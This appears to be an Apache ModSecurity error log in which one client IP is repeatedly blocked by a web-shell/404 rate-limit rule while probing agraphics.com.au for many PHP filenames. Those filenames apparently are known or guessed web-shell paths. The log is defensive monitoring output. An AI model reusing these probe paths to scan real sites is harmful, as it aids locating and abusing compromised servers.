[Sat Apr 11 03:59:54.492984 2026] [:error] [pid 2723:tid 2802] [client 135.116.194.58:54438] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lb.php"] [unique_id "adlWuoNy3DfGNAwLjcOyKAAAAJY"]
[Sat Apr 11 03:59:55.026577 2026] [:error] [pid 2722:tid 2761] [client 135.116.194.58:54350] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lb.php"] [unique_id "adlWu4_R23QDTmaQHyGBVgAAAEg"]
[Sat Apr 11 03:59:55.551133 2026] [:error] [pid 2723:tid 2784] [client 135.116.194.58:54419] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lb.php"] [unique_id "adlWu4Ny3DfGNAwLjcOyUgAAAIQ"]
[Sat Apr 11 03:59:56.086662 2026] [:error] [pid 2721:tid 2731] [client 135.116.194.58:54424] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/lb.php"] [unique_id "adlWvDZWWL4OaRcuwkjH1QAAAAU"]
[Sat Apr 11 03:59:56.612090 2026] [:error] [pid 2812:tid 2819] [client 135.116.194.58:5058] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "adlWvNmkbBYp4LlMowsDRgAAAMQ"]
[Sat Apr 11 03:59:57.154277 2026] [:error] [pid 2812:tid 2839] [client 135.116.194.58:54337] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "adlWvdmkbBYp4LlMowsDSQAAANg"]
[Sat Apr 11 03:59:57.813773 2026] [:error] [pid 2812:tid 2828] [client 135.116.194.58:54393] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "adlWvdmkbBYp4LlMowsDTQAAAM0"]
[Sat Apr 11 03:59:58.374270 2026] [:error] [pid 2812:tid 2830] [client 135.116.194.58:5013] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dx.php"] [unique_id "adlWvtmkbBYp4LlMowsDUAAAAM8"]
[Sat Apr 11 03:59:58.930336 2026] [:error] [pid 2812:tid 2832] [client 135.116.194.58:54434] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "adlWvtmkbBYp4LlMowsDWAAAANE"]
[Sat Apr 11 03:59:59.456138 2026] [:error] [pid 2812:tid 2829] [client 135.116.194.58:54370] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "adlWv9mkbBYp4LlMowsDYAAAAM4"]
[Sat Apr 11 04:00:00.151538 2026] [:error] [pid 2722:tid 2775] [client 135.116.194.58:4951] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "adlWwI_R23QDTmaQHyGBWgAAAFY"]
[Sat Apr 11 04:00:00.782090 2026] [:error] [pid 2812:tid 2828] [client 135.116.194.58:54386] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/menu.php"] [unique_id "adlWwNmkbBYp4LlMowsDawAAAM0"]
[Sat Apr 11 04:00:01.420255 2026] [:error] [pid 2812:tid 2817] [client 135.116.194.58:54408] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adlWwdmkbBYp4LlMowsDbwAAAMI"]
[Sat Apr 11 04:00:02.033846 2026] [:error] [pid 2723:tid 2796] [client 135.116.194.58:5090] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adlWwoNy3DfGNAwLjcOyYwAAAJA"]
[Sat Apr 11 04:00:02.622486 2026] [:error] [pid 2812:tid 2828] [client 135.116.194.58:4916] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adlWwtmkbBYp4LlMowsDegAAAM0"]
[Sat Apr 11 04:00:03.149536 2026] [:error] [pid 2812:tid 2839] [client 135.116.194.58:4866] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/p14rAeWytPdH5hZcscCFdefault.php"] [unique_id "adlWw9mkbBYp4LlMowsDfgAAANg"]
[Sat Apr 11 04:00:03.730039 2026] [:error] [pid 2812:tid 2835] [client 135.116.194.58:5075] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iindv.php"] [unique_id "adlWw9mkbBYp4LlMowsDggAAANQ"]
[Sat Apr 11 04:00:04.299521 2026] [:error] [pid 2723:tid 2781] [client 135.116.194.58:5089] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iindv.php"] [unique_id "adlWxINy3DfGNAwLjcOybAAAAIE"]
[Sat Apr 11 04:00:04.844415 2026] [:error] [pid 2723:tid 2783] [client 135.116.194.58:4849] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iindv.php"] [unique_id "adlWxINy3DfGNAwLjcOybQAAAIM"]
[Sat Apr 11 04:00:05.376841 2026] [:error] [pid 2721:tid 2736] [client 135.116.194.58:54460] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iindv.php"] [unique_id "adlWxTZWWL4OaRcuwkjH4wAAAAo"]
[Sat Apr 11 04:00:05.969761 2026] [:error] [pid 2721:tid 2737] [client 135.116.194.58:54461] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maintura.php"] [unique_id "adlWxTZWWL4OaRcuwkjH5gAAAAs"]
[Sat Apr 11 04:00:06.617083 2026] [:error] [pid 2721:tid 2750] [client 135.116.194.58:54352] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maintura.php"] [unique_id "adlWxjZWWL4OaRcuwkjH6gAAABg"]
[Sat Apr 11 04:00:07.136446 2026] [:error] [pid 2721:tid 2744] [client 135.116.194.58:54365] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maintura.php"] [unique_id "adlWxzZWWL4OaRcuwkjH7wAAABI"]
[Sat Apr 11 04:00:07.656797 2026] [:error] [pid 2812:tid 2828] [client 135.116.194.58:54382] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/maintura.php"] [unique_id "adlWx9mkbBYp4LlMowsDhwAAAM0"]
[Sat Apr 11 04:00:08.200413 2026] [:error] [pid 2722:tid 2769] [client 135.116.194.58:4736] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adlWyI_R23QDTmaQHyGBfwAAAFA"]
[Sat Apr 11 04:00:08.791284 2026] [:error] [pid 2722:tid 2764] [client 135.116.194.58:54389] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adlWyI_R23QDTmaQHyGBhAAAAEs"]
[Sat Apr 11 04:00:09.318151 2026] [:error] [pid 2812:tid 2826] [client 135.116.194.58:54395] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adlWydmkbBYp4LlMowsDjAAAAMs"]
[Sat Apr 11 04:00:09.854610 2026] [:error] [pid 2812:tid 2834] [client 135.116.194.58:5014] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/iee52ruz0s81ndrdefault.php"] [unique_id "adlWydmkbBYp4LlMowsDjgAAANM"]
[Sat Apr 11 04:00:10.444100 2026] [:error] [pid 2722:tid 2763] [client 135.116.194.58:54356] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlWyo_R23QDTmaQHyGBigAAAEo"]
[Sat Apr 11 04:00:10.963667 2026] [:error] [pid 2812:tid 2833] [client 135.116.194.58:54387] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlWytmkbBYp4LlMowsDmQAAANI"]
[Sat Apr 11 04:00:11.492418 2026] [:error] [pid 2812:tid 2824] [client 135.116.194.58:4871] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlWy9mkbBYp4LlMowsDmwAAAMk"]
[Sat Apr 11 04:00:12.077808 2026] [:error] [pid 2722:tid 2753] [client 135.116.194.58:54441] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/nvwf4svpvqohxdjtbjCdefault.php"] [unique_id "adlWzI_R23QDTmaQHyGBkgAAAEA"]
[Sat Apr 11 04:00:12.608108 2026] [:error] [pid 2812:tid 2832] [client 135.116.194.58:4870] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-220.php"] [unique_id "adlWzNmkbBYp4LlMowsDowAAANE"]
[Sat Apr 11 04:00:13.126636 2026] [:error] [pid 2721:tid 2741] [client 135.116.194.58:4810] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-220.php"] [unique_id "adlWzTZWWL4OaRcuwkjIBgAAAA8"]
[Sat Apr 11 04:00:13.662087 2026] [:error] [pid 2721:tid 2727] [client 135.116.194.58:54383] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-220.php"] [unique_id "adlWzTZWWL4OaRcuwkjICwAAAAE"]
[Sat Apr 11 04:00:14.249281 2026] [:error] [pid 2812:tid 2831] [client 135.116.194.58:54384] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/zc-220.php"] [unique_id "adlWztmkbBYp4LlMowsDqgAAANA"]
[Sat Apr 11 04:00:14.770331 2026] [:error] [pid 2722:tid 2774] [client 135.116.194.58:5066] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlWzo_R23QDTmaQHyGBmgAAAFU"]
[Sat Apr 11 04:00:15.288749 2026] [:error] [pid 2722:tid 2758] [client 135.116.194.58:54380] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlWz4_R23QDTmaQHyGBnQAAAEU"]
[Sat Apr 11 04:00:15.840382 2026] [:error] [pid 2722:tid 2773] [client 135.116.194.58:54367] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlWz4_R23QDTmaQHyGBoAAAAFQ"]
[Sat Apr 11 04:00:16.362394 2026] [:error] [pid 2722:tid 2757] [client 135.116.194.58:54374] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/r9pbhistk1lifhnjadpCdefault.php"] [unique_id "adlW0I_R23QDTmaQHyGBpAAAAEQ"]
[Sat Apr 11 04:00:16.953040 2026] [:error] [pid 2721:tid 2746] [client 135.116.194.58:4824] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fone1.php"] [unique_id "adlW0DZWWL4OaRcuwkjIGwAAABQ"]
[Sat Apr 11 04:00:17.575301 2026] [:error] [pid 2812:tid 2831] [client 135.116.194.58:54410] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fone1.php"] [unique_id "adlW0dmkbBYp4LlMowsDtgAAANA"]
[Sat Apr 11 04:00:18.131916 2026] [:error] [pid 2812:tid 2815] [client 135.116.194.58:54338] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/fone1.php"] [unique_id "adlW0tmkbBYp4LlMowsDvAAAAMA"]
[Sat Apr 11 04:00:18.883285 2026] [:error] [pid 2721:tid 2728] [client 135.116.194.58:5057] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adlW0jZWWL4OaRcuwkjIHwAAAAI"]
[Sat Apr 11 04:00:19.472056 2026] [:error] [pid 2721:tid 2726] [client 135.116.194.58:54447] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adlW0zZWWL4OaRcuwkjIIQAAAAA"]
[Sat Apr 11 04:00:20.039909 2026] [:error] [pid 2721:tid 2733] [client 135.116.194.58:5007] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adlW1DZWWL4OaRcuwkjIIgAAAAc"]
[Sat Apr 11 04:00:20.563327 2026] [:error] [pid 2721:tid 2749] [client 135.116.194.58:5064] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/xxiviLDIot.php"] [unique_id "adlW1DZWWL4OaRcuwkjIJgAAABc"]
[Sat Apr 11 04:00:21.162382 2026] [:error] [pid 2723:tid 2789] [client 135.116.194.58:54353] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adlW1YNy3DfGNAwLjcOymAAAAIk"]
[Sat Apr 11 04:00:21.800860 2026] [:error] [pid 2723:tid 2780] [client 135.116.194.58:5097] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adlW1YNy3DfGNAwLjcOynQAAAIA"]
[Sat Apr 11 04:00:22.586802 2026] [:error] [pid 2722:tid 2777] [client 135.116.194.58:5109] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adlW1o_R23QDTmaQHyGBtwAAAFg"]
[Sat Apr 11 04:00:23.128053 2026] [:error] [pid 2812:tid 2820] [client 135.116.194.58:5008] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/hanyatersenyum.php"] [unique_id "adlW19mkbBYp4LlMowsD4AAAAMU"]
[Sat Apr 11 04:00:23.658088 2026] [:error] [pid 2722:tid 2754] [client 135.116.194.58:54409] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlW14_R23QDTmaQHyGBuwAAAEE"]
[Sat Apr 11 04:00:24.204473 2026] [:error] [pid 2722:tid 2755] [client 135.116.194.58:54435] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlW2I_R23QDTmaQHyGBvgAAAEI"]
[Sat Apr 11 04:00:24.728538 2026] [:error] [pid 2812:tid 2822] [client 135.116.194.58:54371] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlW2NmkbBYp4LlMowsD6wAAAMc"]
[Sat Apr 11 04:00:25.286910 2026] [:error] [pid 2723:tid 2797] [client 135.116.194.58:54392] [client 135.116.194.58] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/5tdwvyWnTbRiMS8f18HXNBbALHKB5t4j.php"] [unique_id "adlW2YNy3DfGNAwLjcOyrgAAAJE"]
